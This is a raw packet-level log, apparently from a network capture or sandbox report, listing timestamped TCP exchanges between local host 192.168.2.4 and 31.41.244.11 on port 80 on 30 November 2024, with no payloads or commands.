Nov 30, 2024 09:45:09.768155098 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.768326044 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.768372059 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.772949934 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.772994995 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.773195028 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.773243904 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.777816057 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.777862072 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.778068066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.778110981 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.782715082 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.782762051 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.782957077 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.782999992 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.787585974 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.787637949 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.787806988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.787848949 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.791029930 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.791071892 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.791271925 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.791332960 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.794537067 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.794588089 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.795145035 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.795190096 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.798080921 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.798124075 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.798295021 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.798360109 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.801574945 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.801619053 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.801795959 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.801835060 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.805085897 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.805135012 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.805344105 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.805393934 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.808571100 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.808613062 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.808835030 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.808904886 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.812064886 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.812115908 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.812330008 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.812378883 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.816059113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.816107035 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.816519022 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.816572905 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.819156885 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.819197893 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.819437027 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.819483995 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.822685003 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.822731972 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.823151112 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.823210955 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.826117039 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.826158047 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.826358080 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.826407909 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.829591990 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.829649925 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.937665939 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.937725067 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.937928915 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.937975883 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.939021111 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.939068079 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.939591885 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.939636946 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.939790010 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.939829111 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.942400932 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.942445993 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.942641973 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.942720890 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.945275068 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.945321083 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.945475101 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.945517063 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.947962999 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.948014021 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.948200941 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.948246002 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.950665951 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.950719118 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.950896025 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.950969934 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.953344107 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.953389883 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.953569889 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.953607082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.955923080 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.955971956 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.956147909 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.956201077 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.958745956 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.958851099 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.959197998 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.959240913 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.961163044 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.961208105 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.961415052 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.961455107 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.963732958 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.963774920 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.963942051 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.963982105 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.966463089 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.966506958 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.966878891 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.966926098 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.968883991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.968928099 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.969165087 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.969219923 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.971663952 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.971745968 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.971849918 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.971885920 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.974514961 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.974558115 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.974992037 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.975032091 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.976751089 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.976788044 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.976977110 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.977013111 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.979278088 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.979326963 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.979613066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.979649067 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.981992960 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.982043028 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.982213974 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.982251883 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.984530926 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.984570026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.984857082 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.984901905 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.987104893 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.987148046 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.987580061 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.987623930 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.989742994 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.989789963 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.989955902 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.989998102 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.992501020 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.992551088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.992553949 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.992599010 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.994915962 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.994959116 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.995136023 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.995174885 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.997494936 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.997539043 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.997706890 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.997750998 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.000228882 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.000272036 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.000498056 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.000535965 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.002698898 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.002738953 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.002948999 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.002990961 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.005286932 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.005330086 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.005496979 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.005537033 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.007863045 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.007910967 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.008105993 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.008146048 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.010447025 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.010488987 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.010683060 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.010726929 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.013148069 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.013190985 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.013375998 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.013417959 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.015883923 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.015938997 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.016355038 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.016412973 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.018220901 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.018275023 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.018469095 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.018507004 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.138741016 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.138861895 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.139126062 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.139200926 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.139862061 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.139914989 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.140099049 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.140147924 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.141803980 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.141853094 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.142546892 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.142592907 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.142774105 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.142822981 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.144610882 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.144665956 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.144844055 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.144887924 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.146615028 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.146666050 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.146872044 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.146919966 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.148643970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.148694038 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.148880959 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.148931026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.150697947 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.150752068 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.150955915 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.151006937 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.152717113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.152769089 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.153008938 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.153069973 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.154772997 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.154822111 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.155103922 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.155149937 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.156806946 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.156858921 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.157088041 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.157138109 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.158857107 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.158912897 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.159080982 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.159122944 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.160919905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.160979033 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.161150932 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.161214113 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.162947893 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.163007021 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.163203001 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.163255930 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.165074110 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.165132046 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.165296078 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.165347099 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.167064905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.167118073 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.167323112 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.167373896 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.169037104 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.169094086 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.169291019 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.169338942 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.171142101 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.171205997 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.171361923 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.171416044 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.173091888 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.173165083 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.173341036 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.173422098 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.175122976 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.175184965 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.175333977 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.175381899 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.177181959 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.177233934 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.177371979 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.177423000 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.179152966 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.179207087 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.179433107 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.179481030 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.181190968 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.181247950 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.181428909 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.181479931 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.183279991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.183381081 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.183593988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.183665037 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.185251951 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.185317993 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.185512066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.185570955 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.187309980 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.187355995 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.187580109 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.187622070 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.189351082 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.189394951 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.189604044 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.189646959 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.191431999 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.191495895 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.191737890 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.191792965 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.193394899 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.193460941 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.193629026 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.193685055 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.195480108 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.195539951 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.195705891 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.195754051 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.198276043 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.198333025 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.198678017 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.198724031 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.199588060 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.199636936 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.199791908 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.199836969 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.201591015 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.201647997 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.201761961 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.201807022 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.203623056 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.203685045 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.203905106 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.203954935 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.205636024 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.205686092 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.205841064 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.205893040 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.207669020 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.207721949 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.207885981 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.207942963 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.209642887 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.209697008 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.209908962 CET	80	49790	31.41.244.11	192.168.2.4
